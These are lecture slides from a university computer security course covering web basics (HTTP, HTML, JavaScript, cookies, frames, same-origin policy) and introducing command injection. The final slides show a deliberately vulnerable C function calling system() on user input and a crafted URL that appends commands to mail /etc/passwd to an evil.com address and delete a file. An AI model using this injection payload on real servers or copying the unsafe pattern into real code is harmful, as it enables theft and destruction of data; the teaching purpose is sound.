Web Security: Background

CS 161: Computer Security

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http://inst.eecs.berkeley.edu/~cs161/

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What is the Web?

A platform for deploying applications and sharing information, *portably* and *securely (?)*

client browser





web server

Bank of America

HTTP
(Hypertext Transfer Protocol)

A common data communication protocol on the web



URLs

Global identifiers of network-retrievable resources

Example:



HTTP


CLIENT BROWSER
WEB SERVER
safebank.com
safebank.com/account.html
SAFEBANK
Alice
Smith
Accounts
Bill Pay
Mail
Transfers
HTTP REQUEST:
GET /account.html HTTP/1.1
Host: www.safebank.com
HTTP RESPONSE:
HTTP/1.0 200 OK
<HTML> . . . </HTML>

HTTP Request

GET: no side effect (supposedly)

POST: possible side effect, includes additional data



HTTP

CLIENT BROWSER



WEB SERVER

HTTP REQUEST:

```
GET /account.html HTTP/1.1
Host: www.safebank.com
```

HTTP RESPONSE:

```
HTTP/1.0 200 OK
<HTML> . . . </HTML>
```

HTTP Response



Web page



HTML

A language to create structured documents
One can embed images, objects, or create interactive forms

index.html

```
<html>
    <body>
        <div>
            foo
            <a href="http://google.com">Go to Google!</a>
        </div>
        <form>
            <input type="text" />
            <input type="radio" />
            <input type="checkbox" />
        </form>
    </body>
</html>
```

CSS (Cascading Style Sheets)

Language used for describing the presentation of a document

index.css

```
p.serif {
font-family: "Times New Roman", Times, serif;
}
p.sansserif {
font-family: Arial, Helvetica, sans-serif;
}
```

Javascript

Programming language used to manipulate web pages. It is a high-level, untyped and interpreted language with support for objects.

Supported by all web browsers

```
<script>
function myFunction()
{    document.getElementById("demo").innerHTML = ”Text
changed.";
}
</script>
```

Very powerful!

HTTP


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webpage

Page rendering



DOM (Document Object Model)

Cross-platform model for representing and interacting with objects in HTML

HTML

```
<html>
    <body>
        <div>
            foo
        </div>
        <form>
            <input type="text" />
            <input type="radio" />
            <input type="checkbox" />
        </form>
    </body>
</html>
```



DOM Tree

```
|-> Document
   |-> Element (<html>)
      |-> Element (<body>)
         |-> Element (<div>)
            |-> text node
         |-> Form
               |-> Text-box
               |-> Radio Button
               |-> Check Box
```

The power of Javascript

Get familiarized with it so that you can think of all the attacks one can do with it.

What can you do with Javascript?

Almost anything you want to the DOM!

A JS script embedded on a page can modify in almost arbitrary ways the DOM of the page.

The same happens if an attacker manages to get you load a script into your page.

w3schools.com has nice interactive tutorials

Example of what Javascript can do…

Can change HTML content:

```
<p id="demo">JavaScript can change HTML content.</p>

<button type="button"
onclick="document.getElementById('demo').innerHTML =
'Hello JavaScript!'">
   Click Me!</button>
```

DEMO from
http://www.w3schools.com/js/js_examples.asp

Other examples

Can change images
Can chance style of elements
Can hide elements
Can unhide elements
Can change cursor

Another example: can access cookies

Read cookie with JS:

```
var x = document.cookie;
```

Change cookie with JS:

```
document.cookie = "username=John Smith; expires=Thu,
18 Dec 2013 12:00:00 UTC; path=/";
```

Frames

Frames

- Enable embedding a page within a page

```
<iframe src="URL"></iframe>
```

Frames



- Modularity
  - Brings together content from multiple sources
  - Client-side aggregation
- Delegation
  - Frame can draw only inside its own rectangle

Frames

- Outer page can specify only sizing and placement of the frame in the outer page
- Frame isolation: Outer page cannot change contents of inner page; inner page cannot change contents of outer page

Thinking About Web Security

Desirable security goals

- **Integrity**: malicious web sites should not be able to tamper with integrity of our computers or our information on other web sites
- **Confidentiality**: malicious web sites should not be able to learn confidential information from our computers or other web sites
- **Privacy**: malicious web sites should not be able to spy on us or our online activities
- **Availability**: malicious parties should not be able to keep us from accessing our web resources

5 Minute Break

Questions Before We Proceed?

Security on the web

- Risk #1: we don't want a malicious site to be able to trash files/programs on our computers
  - Browsing to `awesomevids.com` (or `evil.com`) should not infect our computers with malware, read or write files on our computers, etc.

Security on the web

- Risk #1: we don't want a malicious site to be able to trash files/programs on our computers
  - Browsing to `awesomevids.com` (or `evil.com`) should not infect our computers with malware, read or write files on our computers, etc.
- Defenses: Javascript is sandboxed; try to avoid security bugs in browser code; privilege separation; automatic updates.

Security on the web

- Risk #2: we don't want a malicious site to be able to spy on or tamper with our information or interactions with other websites
  - Browsing to `evil.com` should not let `evil.com` spy on our emails in Gmail or buy stuff with our Amazon accounts

Security on the web

- Risk #2: we don't want a malicious site to be able to spy on or tamper with our information or interactions with other websites
  - Browsing to `evil.com` should not let `evil.com` spy on our emails in Gmail or buy stuff with our Amazon accounts
- Defense: the *same-origin policy*
  - A security policy grafted on after-the-fact, and enforced by web browsers

Security on the web

- Risk #3: we want data stored on a web server to be protected from unauthorized access

Security on the web

- Risk #3: we want data stored on a web server to be protected from unauthorized access
- Defense: server-side security

Same-origin policy

Same-origin policy

- Each site in the browser is isolated from all others



Same-origin policy

- Multiple pages from the same site are not isolated

browser:

No security barrier

wikipedia.org

wikipedia.org

Origin

- Granularity of protection for same origin policy
- Origin = protocol + hostname + port



- Determined using ***string matching***! If these match, it is same origin; else it is not. Even though in some cases, it is logically the same origin, if there is no string match, it is not.

Same-origin policy

One origin should not be able to access the resources of another origin

Javascript on one page cannot read or modify pages from different origins.

The contents of an *iframe* have the origin of the URL from which the iframe is served; *not* the loading website.

Same-origin policy

- The origin of a page is derived from the URL it was loaded from



Same-origin policy

- The origin of a page is derived from the URL it was loaded from
- Special case: Javascript runs with the origin of the page that loaded it



Assessing SOP

Originating document	Accessed document
http://wikipedia.org/**a**/	http://wikipedia.org/**b**/
http://wikipedia.org/	http://**www.**wikipedia.org/
http://wikipedia.org/	**https**://wikipedia.org/
http://wikipedia.org**:81**/	http://wikipedia.org**:82**/
http://wikipedia.org**:81**/	http://wikipedia.org/



except !

Server-side threats:

Command Injection

Simple Service Example

- Allow users to search the local phonebook for any entries that match a regular expression
- Invoked via URL like:

  http://harmless.com/phonebook.cgi?regex=<pattern>
- So for example:

  http://harmless.com/phonebook.cgi?regex=Alice.*Smith

  searches phonebook for any entries with "Alice" and then later "Smith" in them

  (Note: web surfer doesn't enter this URL themselves; Javascript running in their browser constructs it from what they type into a form)

Simple Service Example, con't

- Assume our server has some "glue" that parses URLs to extract parameters into C variables
  - and returns *stdout* to the user
- Simple version of code to implement search:

```
/* print any employees whose name
 * matches the given regex */
void find_employee(char *regex)
{
  char cmd[512];
  snprintf(cmd, sizeof cmd,
      "grep %s phonebook.txt", regex);
  system(cmd);
}
```

Problems?

```
/* print any employees whose name
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void find_employee(char *regex)
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       "grep %s phonebook.txt", regex);
   system(cmd);
}
```

Problems?

Instead of http://harmless.com/phonebook.cgi?regex=Alice.*Smith

How about http://harmless.com/phonebook.cgi?regex=foo%20x;%20mail%20-s%20hacker@evil.com%20</etc/passwd;%20rm

%20 is an *escape sequence* that expands to a space (' ')

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⇒ "grep foo x; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt"

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/* print any employees whose name
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void find_employee(char *regex)
{
   char cmd[512];
   snprintf(cmd, sizeof cmd,
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Problems?

Control information, not data

Instead of http://harmless.com/phonebook.cgi?regex=Alice.*Smith

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